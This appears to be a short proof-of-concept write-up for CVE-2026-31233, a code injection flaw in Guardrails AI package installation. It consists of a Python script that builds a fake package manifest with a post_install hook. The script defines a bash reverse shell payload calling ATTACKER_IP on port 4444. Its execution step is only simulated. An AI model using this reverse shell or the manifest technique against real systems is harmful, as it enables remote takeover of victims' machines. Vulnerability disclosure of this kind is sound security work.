CVE-2026-31233 Guardrails AI代码注入漏洞

# Proof of Concept for CVE-2026-31233 # This script simulates a malicious package manifest creation. import json # 1. Define the malicious payload (e.g., reverse shell) # In a real attack, this would be hosted on the attacker's server. malicious_script_content = "#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # 2. Construct the malicious manifest # The 'post_install' field points to the malicious script malicious_manifest = { "package_name": "fake-validator", "version": "1.0.0", "post_install": "setup.sh", # Vulnerability: Untrusted path executed "manifest_version": "1.0" } # 3. Simulate the vulnerable installation process def vulnerable_install(manifest): print(f"[*] Installing {manifest['package_name']}...") script_path = manifest['post_install'] # VULNERABLE CODE: Executing script path from untrusted source without validation print(f"[!] Executing post_install script: {script_path}") # os.system(script_path) # This is where the RCE happens if __name__ == "__main__": print("--- Malicious Manifest Generated ---") print(json.dumps(malicious_manifest, indent=2)) print("\n--- Simulating Victim Installation ---") vulnerable_install(malicious_manifest)